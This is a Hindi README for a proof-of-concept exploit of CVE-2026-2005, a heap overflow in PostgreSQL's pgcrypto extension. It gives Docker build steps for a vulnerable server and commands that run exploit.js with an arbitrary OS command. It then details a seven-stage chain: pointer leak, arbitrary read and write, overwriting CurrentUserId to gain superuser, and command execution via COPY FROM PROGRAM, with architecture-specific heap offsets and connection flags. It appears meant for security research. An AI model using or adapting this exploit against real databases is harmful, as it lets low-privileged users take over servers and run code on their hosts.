
PostgreSQL pgcrypto हीप बफर ओवरफ्लो PoC जो CVE-2026-2005 को प्रदर्शित करता है: तैयार किए गए OpenPGP पैकेट के माध्यम से निम्न-विशेषाधिकार RCE और सुपरयूज़र तक विशेषाधिकार वृद्धि।
लक्षित कमिट: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — असुरक्षित)
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2026-2005 |
| प्रकार | हीप बफर ओवरफ्लो |
| घटक | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| प्रभाव | PostgreSQL चलाने वाले OS उपयोगकर्ता के रूप में RCE |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| आवश्यक प्रमाणीकरण | निम्न — CREATE विशेषाधिकार वाला कोई भी प्रमाणित उपयोगकर्ता |
| प्रभावित संस्करण | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| समाधान | 14.21, 15.16, 16.12, 17.8, 18.2 (12 फ़रवरी, 2026) |
| आर्किटेक्चर | aarch64 (ARM64) — हीप ऑफसेट और MBuf लेआउट आर्क/glibc विशिष्ट हैं |
# PostgreSQL 18.1 (असुरक्षित) बनाएं और प्रारंभ करें
docker compose up -d --build
# स्वस्थ होने की प्रतीक्षा करें
docker compose logs -f postgres
# जब आप "database system is ready to accept connections" देखें तो Ctrl+C दबाएं
# एक बार का सेटअप: ऑफ़लाइन प्रतीक पार्सिंग के लिए postgres बाइनरी कॉपी करें
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# Node निर्भरताएँ स्थापित करें
npm install
# पूर्ण RCE एक्सप्लॉइट श्रृंखला चलाएं (शुद्ध SQL — कोई Docker इंटरैक्शन नहीं)
node exploit.js --cmd "id"
# विस्तृत आउटपुट के साथ
node exploit.js --cmd "id" --verbose
# कस्टम कमांड निष्पादित करें
node exploit.js --cmd "whoami"
चरण 1: हीप पॉइंटर लीक
└─ mdst चंक हेडर को दूषित करें → pfree() त्रुटि संदेश पार्स करें
चरण 2: मनमाना पठन (मल्टी-विंडो स्कैन)
└─ mdst->data को अधिलेखित करें → लीक हुए पॉइंटर के पास मेमोरी स्कैन करें
चरण 3: पॉइंटर उम्मीदवार संग्रह
└─ पॉइंटर-जैसे 8-बाइट मानों के लिए हीप डंप स्कैन करें
चरण 4: PIE आधार समाधान
└─ ELF प्रतीक ऑफसेट के विरुद्ध लीक हुए पते वोट करें (पेज-ऑफसेट
समूहीकृत, ऑफ़लाइन — प्रतीक स्थानीय बाइनरी कॉपी से पार्स किए गए)
चरण 5: PIE सत्यापन
└─ उम्मीदवार आधार पर CurrentUserId का मनमाना पठन → सत्र OID से तुलना करें
चरण 6: मनमाना लेखन
└─ msrc + mdst MBuf बनाएं → CurrentUserId को अधिलेखित करें → 10 (सुपरयूज़र)
चरण 7: कमांड निष्पादन
└─ COPY FROM PROGRAM → postgres उपयोगकर्ता के रूप में मनमाना OS कमांड
CVE-2026-2005/
├── Dockerfile # स्रोत से PostgreSQL 18.1 बनाता है
├── docker-compose.yml # ऑटो-रीस्टार्ट के साथ PostgreSQL सेवा
├── init.sh # एंट्रीपॉइंट — initdb + listen कॉन्फ़िग
├── README.md # यह फ़ाइल
└── poc/
├── package.json # Node.js निर्भरताएँ (pg)
├── exploit.js # पूर्ण 7-चरण RCE एक्सप्लॉइट (Node.js)
├── verify.sh # शेल-आधारित त्वरित सत्यापन
└── test-pgcrypto.sql # pgcrypto लोडिंग का SQL-केवल परीक्षण
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (वैकल्पिक — केवल --gdb फ़्लैग के साथ आवश्यक)बग contrib/pgcrypto/pgp-pubdec.c में pgp_parse_pubenc_sesskey() में है।
OpenPGP पब्लिक-की एन्क्रिप्टेड सेशन की पैकेट (टैग 1) पार्स करते समय:
memcpy करता हैmemcpy हीप बफर सीमा से आगे लिख सकता है, आसन्न हीप मेटाडेटा या डेटा को दूषित कर सकता है, जिससे मनमाना कोड निष्पादन हो सकता है।
mdst->data हीप पता निकालने के लिए pfree() त्रुटि संदेश पार्स करें।/proc/<pid>/maps पढ़ें।msrc (स्रोत) और mdst (गंतव्य) दोनों MBuf संरचनाएँ बनाएं। msrc सुपरयूज़र OID (10) वाले एम्बेडेड symenc पैकेट की ओर इंगित करता है; mdst CurrentUserId - 4 की ओर इंगित करता है (4-बाइट SET_VARSIZE हेडर के लिए समायोजन)।CurrentUserId = 10 (बूटस्ट्रैप सुपरयूज़र) के साथ, मनमाना OS कमांड चलाने के लिए COPY FROM PROGRAM निष्पादित करें।pgcrypto एक्सटेंशन विश्वसनीय है — CREATE विशेषाधिकार वाला कोई भी उपयोगकर्ता
(सुपरयूज़र नहीं) इसे स्थापित कर सकता है, जिससे यह कम विशेषाधिकारों के साथ शोषण योग्य बन जाता है।--enable-debug शामिल है।SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) aarch64 + glibc के लिए
विशिष्ट हैं — अन्य आर्किटेक्चर/आवंटकों को अलग ऑफसेट की आवश्यकता होती है।CurrentUserId पढ़कर पुष्टि की जाती है।| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|
--cmd | id | सफल एक्सप्लॉइट के बाद निष्पादित करने के लिए OS कमांड |
--key-size | 3072 | RSA कुंजी आकार बिट्स में |
--host | 127.0.0.1 | PostgreSQL होस्ट |
--port | 5432 | PostgreSQL पोर्ट |
--user | postgres | डेटाबेस उपयोगकर्ता |
--password | (खाली) | डेटाबेस पासवर्ड |
--dbname | postgres | डेटाबेस नाम |
--binary | ./postgres | प्रतीकों के लिए postgres ELF बाइनरी का पथ |
--scan-offset | स्वचालित | लीक हुए पॉइंटर से हीप स्कैन ऑफसेट ओवरराइड करें |
--verbose | बंद | विस्तृत डीबग आउटपुट सक्षम करें |
--gdb | बंद | ओवरफ्लो बिंदु पर tmux के माध्यम से GDB संलग्न करें |